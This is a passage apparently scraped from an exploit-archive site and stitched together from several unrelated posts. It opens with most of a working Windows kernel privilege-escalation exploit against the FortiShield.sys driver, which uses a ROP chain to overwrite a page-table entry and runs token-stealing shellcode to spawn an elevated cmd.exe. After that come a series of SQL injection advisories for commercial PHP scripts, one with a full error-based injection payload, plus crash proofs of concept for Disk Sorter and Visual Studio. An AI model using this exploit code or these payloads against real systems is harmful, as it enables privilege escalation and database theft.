	return allocate_rop_chain;
}

LPVOID allocate_shellcode(LPVOID kernel_base, ULONGLONG fortishield_callback, ULONGLONG fortishield_restore, ULONGLONG pte_result) {
	HANDLE pid;
	pid = GetCurrentProcess();
	ULONGLONG shellcode_address = 0x000000008aff07da;
	LPVOID allocate_shellcode;
	allocate_shellcode = VirtualAlloc((LPVOID*)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (allocate_shellcode == NULL) {
		printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
		exit(1);
	}

	/* <Overwrite PTE> */
	ULONGLONG rop_01 = (ULONGLONG)kernel_base + 0x14adaf;	// pop rax; pop rcx; ret
	ULONGLONG rop_02 = (ULONGLONG)pte_result;				// PTE address
	ULONGLONG rop_03 = 0x0000000000000063;					// DIRTY + ACCESSED + R/W + PRESENT
	ULONGLONG rop_04 = (ULONGLONG)kernel_base + 0x130779;	// mov byte ptr [rax], cl ; mov rbx, qword ptr [rsp + 8] ; ret
	ULONGLONG rop_05 = (ULONGLONG)kernel_base + 0xc459c;	// wbinvd ; ret
	ULONGLONG rop_06 = 0x000000008b00081a;					// shellcode
	ULONGLONG rop_07 = fortishield_callback;
	ULONGLONG rop_08 = fortishield_restore;
	/* </Overwrite PTE> */

	/*
	;kd> dt -r1 nt!_TEB
	;   +0x110 SystemReserved1  : [54] Ptr64 Void
	;??????+0x078 KTHREAD (not documented, can't get it from WinDBG directly)
	kd> u nt!PsGetCurrentProcess
	nt!PsGetCurrentProcess:
	mov rax,qword ptr gs:[188h]
	mov rax,qword ptr [rax+0B8h]

	- Token stealing rop_chain & restore:

	start:
	mov rdx, [gs:0x188]
	mov r8, [rdx+0x0b8]
	mov r9, [r8+0x2f0]
	mov rcx, [r9]
	find_system_proc:
	mov rdx, [rcx-0x8]
	cmp rdx, 4
	jz found_it
	mov rcx, [rcx]
	cmp rcx, r9
	jnz find_system_proc
	found_it:
	mov rax, [rcx+0x68]
	and al, 0x0f0
	mov [r8+0x358], rax
	restore:
	mov rbp, qword ptr [rsp+0x80]
	xor rbx, rbx
	mov [rbp], rbx
	mov rbp, qword ptr [rsp+0x88]
	mov rax, rsi
	mov rsp, rax
	sub rsp, 0x20
	jmp rbp
	*/

	char token_steal[] = "\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x82\xB8"
		"\x00\x00\x00\x4D\x8B\x88\xF0\x02\x00\x00\x49\x8B\x09"
		"\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x08\x48\x8B\x09"
		"\x4C\x39\xC9\x75\xEE\x48\x8B\x41\x68\x24\xF0\x49\x89"
		"\x80\x58\x03\x00\x00\x48\x8B\xAC\x24\x80\x00\x00\x00"
		"\x48\x31\xDB\x48\x89\x5D\x00\x48\x8B\xAC\x24\x88\x00"
		"\x00\x00\x48\x89\xF0\x48\x89\xC4\x48\x83\xEC\x20\xFF\xE5";

	char *shellcode;
	DWORD shellcode_size = 0x12000;
	shellcode = (char *)malloc(shellcode_size);
	memset(shellcode, 0x41, shellcode_size);
	memcpy(shellcode + 0xf826, &rop_01, 0x08);
	memcpy(shellcode + 0xf82e, &rop_02, 0x08);
	memcpy(shellcode + 0xf836, &rop_03, 0x08);
	memcpy(shellcode + 0xf83e, &rop_04, 0x08);
	memcpy(shellcode + 0xf846, &rop_05, 0x08);
	memcpy(shellcode + 0xf84e, &rop_06, 0x08);
	memcpy(shellcode + 0xf8d6, &rop_07, 0x08);
	memcpy(shellcode + 0xf8de, &rop_08, 0x08);
	memcpy(shellcode + 0x10040, token_steal, sizeof(token_steal));

	BOOL WPMresult;
	SIZE_T written;
	WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
	if (WPMresult == 0)
	{
		printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
		exit(1);
	}
	printf("[+] Memory allocated at: %p\n", allocate_shellcode);
	return allocate_shellcode;
}

LPVOID GetBaseAddr(char *drvname) {
	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				//printf("%s (%p)\n", szDrivers, drivers[i]);
				if (strcmp(szDrivers, drvname) == 0) {
					//printf("%s (%p)\n", szDrivers, drivers[i]);
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

DWORD trigger_callback() {

	/* This file needs to be on the local HDD to work. */
	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {
	ntdll = LoadLibrary((LPCSTR)"ntdll");
	if (ntdll == NULL) {
		printf("[!] Error while loading ntdll: %d\n", GetLastError());
		return 1;
	}

	user32dll = LoadLibrary((LPCSTR)"user32");
	if (user32dll == NULL) {
		printf("[!] Error while loading user32: %d.\n", GetLastError());
		return 1;
	}

	HACCEL hAccel[object_number];
	create_accelerator_table(hAccel, object_number);

	PHANDLEENTRY handle_entry[object_number];
	leak_table_kernel_address(user32dll, hAccel, handle_entry);

	printf(
		"[+] Accelerator Table[0] HANDLE: %I64x\n"
		"[+] Accelerator Table[0] HANDLE: %I64x\n"
		"[+] Accelerator Table[0] kernel address: %I64x\n"
		"[+] Accelerator Table[0] kernel address: %I64x\n",
		(ULONGLONG)hAccel[0],
		(ULONGLONG)hAccel[1],
		(ULONGLONG)handle_entry[0]->pHeader,
		(ULONGLONG)handle_entry[1]->pHeader
	);

	ULONGLONG manager_pvScan_offset;
	ULONGLONG worker_pvScan_offset;
	manager_pvScan_offset = (ULONGLONG)handle_entry[0]->pHeader + 0x18 + 0x38;
	worker_pvScan_offset = (ULONGLONG)handle_entry[1]->pHeader + 0x18 + 0x38;

	printf("[+] Replacing Accelerator Tables with BitMap objects\n");
	struct bitmap_structure bitmaps;
	bitmaps = create_bitmaps(hAccel);

	printf("[+] Manager BitMap pvScan0 offset: %I64x\n", (ULONGLONG)manager_pvScan_offset);
	printf("[+] Worker BitMap pvScan0 offset: %I64x\n", (ULONGLONG)worker_pvScan_offset);

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

	LPVOID kernel_base = GetBaseAddr("ntoskrnl.exe");
	LPVOID fortishield_base = GetBaseAddr("FortiShield.sys");
	ULONGLONG kernel_pivot = (ULONGLONG)kernel_base + 0x4efae5;
	ULONGLONG fortishield_callback = (ULONGLONG)fortishield_base + 0xd150;
	ULONGLONG fortishield_restore = (ULONGLONG)fortishield_base + 0x2f73;
	printf("[+] Kernel found at: %llx\n", (ULONGLONG)kernel_base);
	printf("[+] FortiShield.sys found at: %llx\n", (ULONGLONG)fortishield_base);

	DWORD IoControlCode = 0x220028;
	ULONGLONG InputBuffer = kernel_pivot;
	DWORD InputBufferLength = 0x8;
	ULONGLONG OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

	LPVOID rop_chain_allocation;
	rop_chain_allocation = allocate_rop_chain(kernel_base, fortishield_callback, fortishield_restore, manager_pvScan_offset, worker_pvScan_offset);

	HANDLE hThread;
	LPDWORD hThread_id = 0;
	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	BOOL hThread_priority;
	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	
	printf("[+] Press ENTER to trigger the vulnerability.\n");
	getchar();
	

	BOOL triggerIOCTL;
	ResumeThread(hThread);
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);

	/* <Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */
	ULONGLONG manager_write_pte_offset = (ULONGLONG)kernel_base + 0x47314 + 0x13;

	printf("[+] Writing nt!MiGetPteAddress + 0x13 to Worker pvScan0.\n");
	getchar();
	write_bitmap(bitmaps.manager_bitmap, manager_write_pte_offset);

	printf("[+] Reading from Worker pvScan0.\n");
	getchar();
	ULONGLONG pte_start = read_bitmap(bitmaps.worker_bitmap);
	printf("[+] PTE virtual base address: %I64x\n", pte_start);

	ULONGLONG pte_result;
	ULONGLONG pte_value = 0x8b000000;
	pte_result = get_pxe_address_64(pte_value, pte_start);
	printf("[+] PTE virtual address for 0x8b000000: %I64x\n", pte_result);
	/* </Reading the PTE base virtual address from nt!MiGetPteAddress + 0x13> */

	BOOL VFresult;
	VFresult = VirtualFree(rop_chain_allocation, 0x0, MEM_RELEASE);
	if (VFresult == 0)
	{
		printf("[!] Error while calling VirtualFree: %d\n", GetLastError());
		return 1;
	}

	LPVOID shellcode_allocation;
	shellcode_allocation = allocate_shellcode(kernel_base, fortishield_callback, fortishield_restore, pte_result);

	hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)&trigger_callback, NULL, CREATE_SUSPENDED, hThread_id);
	if (hThread == NULL)
	{
		printf("[!] Error while calling CreateThread: %d\n", GetLastError());
		return 1;
	}

	hThread_priority = SetThreadPriority(hThread, THREAD_PRIORITY_HIGHEST);
	if (hThread_priority == 0)
	{
		printf("[!] Error while calling SetThreadPriority: %d\n", GetLastError());
		return 1;
	}

	printf("[+] Press ENTER to trigger the vulnerability again.\n");
	getchar();

	ResumeThread(hThread);
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	WaitForSingleObject(hThread, INFINITE);
	
	printf("\n");
	system("start cmd.exe");
	DeleteObject(bitmaps.manager_bitmap);
	DeleteObject(bitmaps.worker_bitmap);

	return 0;
}
HireHackking 
# # # # #
# Exploit Title: Just Another Video Script 1.4.3 - SQL Injection
# Google Dork: N/A
# Date: 25.03.2017
# Vendor Homepage: http://justanothervideoscript.com/
# Software: http://justanothervideoscript.com/demo
# Demo: http://javsdemo.com/
# Version: 1.4.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajaxglobalfunc.php?func=addfav&vid_id=[SQL]
# http://localhost/[PATH]/ajaxglobalfunc.php?func=flag&vid_id=[SQL]
# http://localhost/[PATH]/ajaxplay.php?vidid=[SQL]
# # # # #
HireHackking 
# # # # #
# Exploit Title: Adult Tube Video Script - SQL Injection
# Google Dork: N/A
# Date: 25.03.2017
# Vendor Homepage: http://www.boysofts.com/
# Software: http://www3.boysofts.com/xxx/freeadultvideotubescript.zip
# Demo: http://www.boysofts.com/2013/12/free-adult-tube-video-script.html
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/single-video.php?video_id=[SQL]
# http://localhost/[PATH]/search.php?page=[SQL]
# single-video.php?video_id=25404991'+And(SelecT+1+FroM+(SelecT+CoUnT(*),ConCAT((SelecT(SelecT+ConCAT(CAST(DatabasE()+As+ChAr),0x7e,0x496873616e2053656e63616e))+FroM+information_schema.tables+WhErE+table_schema=DatabasE()+LImIt+0,1),FLooR(RanD(0)*2))x+FroM+information_schema.tables+GrOuP+By+x)a)++and+'userip'='userip
# # # # #
HireHackking 
# # # # #
# Exploit Title: Alibaba Clone Script - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://b2bbusinessdirectoryscript.com/alibaba-clone-script.html
# Demo: http://thealidemox.com
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax.php?section=count_classified&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_tradeleade&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_product&pro_id=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # #
# Exploit Title: B2B Marketplace Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://eaglescripts.com/php-b2b-marketplace-script-v2
# Demo: http://demob2b.xyz/
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/ajax.php?section=count_classified&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_tradeleade&cl_id=[SQL]
# http://localhost/[PATH]/ajax.php?section=count_product&pro_id=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # #
# Exploit Title: Real Estate Property Pro Script - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/php-property-portal-script
# Demo: http://realpro.phpscriptsdemo.com/
# Version: Pro
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/adsearch.html?&prc_min=[SQL]&prc_max=[SQL]
# Etc...
# # # # #
HireHackking 
# # # # #
# Exploit Title: Courier Tracking Software v6.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/courier-tracking-software-ver-6
# Demo: http://courierv6.couriersoftwares.com/
# Version: 6.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/eaglecov6.php?c=other&f=show_news_details&view_id=[SQL]
# http://localhost/[PATH]/eaglecov6.php?c=homepage&f=services&ser_id=[SQL]
# user:username
# user:hub_name
# user:password
# user:hidden_pass
# user:entrydate
# user:onlinestatus
# user:status
# Etc...
# # # # #
HireHackking 
# # # # #
# Exploit Title: Parcel Delivery Booking Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/parcel-delivery-booking-script
# Demo: http://parceldelivery.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/add_booking_shipment_first_step/1/1/1/1[SQL]
# Etc...
# # # # #
HireHackking 
# # # # #
# Exploit Title: Delux Same Day Delivery Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/delux-same-day-delivery
# Demo: http://deluxesameday.logistic-softwares.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/show_page/[PAGE][SQL]
# Etc...
# # # # #
HireHackking 
# # # # #
# Exploit Title: Hotel & Tour Package Script v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: http://www.eaglescripts.com/hotel-booking-script
# Demo: http://hotelbooking.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/?show=view_offer&offer_id=[SQL]
# http://localhost/[PATH]/view_news.php?news_id=[SQL]
# http://localhost/[PATH]/page.php?id=[SQL]
# http://localhost/[PATH]/?show=view_room&room_id=[SQL]
# admin:id
# admin:username
# admin:password
# booking:id
# booking:cat_name
# Etc...
# # # # #
HireHackking 
# # # # #
# Exploit Title: Tour Package Booking v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: www.eaglescripts.com/tour-package-booking-script
# Demo: http://tourbooking.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/package/category/1[SQL]
# http://localhost/[PATH]/package_detail/1[SQL]
# Etc...
# # # # #
HireHackking 
[+] Title: Disk Sorter Server v9.5.12 - Local Stack-based buffer overflow
[+] Credits / Discovery: Nassim Asrir
[+] Author Email: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/
[+] Author Company: Henceforth
[+] CVE: N/A

Vendor:
===============

http://www.disksorter.com/
  
 
Download:
===========

http://www.disksorter.com/setups/disksortersrv_setup_v9.5.12.exe
 
 
Vulnerability Type:
===================

local stack-based buffer overflow


POC:
===================

Launch the program click on :

1 - Server 

2 - Connect

3 - and in the Share Name field inject (5000 "A") then the program crashed see the picture.

CVE Reference:
===============

N/A
 
 
Tested on:
=============== 

Windows 7

Win xp
HireHackking 
# # # # # 
# Exploit Title: Professional Bus Booking Script - SQL Injection
# Google Dork: N/A
# Date: 27.03.2017
# Vendor Homepage: http://travelbookingscript.com/
# Software: http://travelbookingscript.com/professional-bus-booking-script.html
# Demo: http://travelbookingscript.com/demo/professional/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/available_seat.php?hid_Busid=[SQL]
# # # # #
HireHackking 
/*
# Exploit Title: Microsoft Visual Studio 2015 update 3 – Stack overflow
# Date: 2017-03-26
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
# Version: Visual Studio 2015 update 3
# Tested on: Windows 7 Pro SP1 x64, Windows 10 Pro x64

 

Windbg output

 

Crash 1:

 

eax=1469f040 ebx=00000000 ecx=1469f040 edx=165f4634 esi=1469f040 edi=0036e2d8

eip=16610c9d esp=00279000 ebp=0027900c iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

 

VCProject!CVCNode::GetVCProject+0x49:

 

16610c9d ff523c          call    dword ptr [edx+3Ch]  ds:002b:165f4670={VCProject!CVCNode::GetVCProject (16610c64)}

 

 

0:000> !exchain

0036e2dc: VCProject!memcmp+86f5 (166956e8)

0036e30c: VCProject!memcmp+876b (166957b0)

0036e384: msenv!_aulldiv+476d1 (31e3d818)

0036e424: msenv!_aulldiv+1567e (31df2c66)

0036e478: msenv!_aulldiv+65abf (31e6a010)

0036e4c4: vcpkg!sqlite3_value_type+1f3a (3940ac50)

0036e530: msenv!_aulldiv+2b169 (31e135dc)

0036e578: msenv!_aulldiv+2bb07 (31e145ac)

0036e5cc: msenv!_aulldiv+2b1de (31e136ca)

 

0:000> k

# ChildEBP RetAddr 

00 0027900c 16610ca0 VCProject!CVCNode::GetVCProject+0x49

01 00279020 16610ca0 VCProject!CVCNode::GetVCProject+0x53

02 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53

…

ff 00279034 16610ca0 VCProject!CVCNode::GetVCProject+0x53

 

 

 

Crash 2:

 

(10cc.1970): CLR exception - code e0434352 (first chance)

 

(10cc.1970): Stack overflow - code c00000fd (first chance)

 

eax=08675cf0 ebx=00000000 ecx=08675cf0 edx=39784634 esi=08675cf0 edi=0043e0f0

eip=397a0c68 esp=00349000 ebp=00349004 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

 

VCProject!CVCNode::GetVCProject+0x4:

397a0c68 57              push    edi

 

0:000> !exchain

0043e0f4: VCProject!memcmp+86f5 (398256e8)

0043e124: VCProject!memcmp+876b (398257b0)

0043e19c: msenv!_aulldiv+476d1 (51e1d818)

0043e23c: msenv!_aulldiv+1567e (51dd2c66)

0043e290: msenv!_aulldiv+65abf (51e4a010)

0043e2dc: vcpkg!sqlite3_value_type+1f3a (390bac50)

0043e348: msenv!_aulldiv+2b169 (51df35dc)

0043e390: msenv!_aulldiv+2bb07 (51df45ac)

0043e3e4: msenv!_aulldiv+2b1de (51df36ca)

 

15a0a150  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a151  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a152  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a153  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a154  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a155  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a156  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

15a0a157  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

 

 

Peter

 

crash.c
*/

// Exploit Title : Microsoft Visual Studio 2015 update 3 – Stack overflow
// Date : 2017 - 03 - 26
// Exploit Author : Peter Baris
// Vendor Homepage : http://www.saptech-erp.com.au
// Software Link : https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
// Version : 2015 update 3
// Tested on : Windows 7 Pro SP1 x64, Windows 10 Pro x64

// 2017-03-05 Reported to Microsoft
// a few ignorant messages from microsoft, stating that this is not causing data loss
// I have sent explanation about ctrl-s key combination
// 2017-03-26 Publishing


// Procedure to trigger the vulnerability
// Open the c source file simply by double clicing it
// In the properties windows change "Included In Project" to False -> click back to your source code's window

#include <Windows.h>

int main()
{

	printf("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA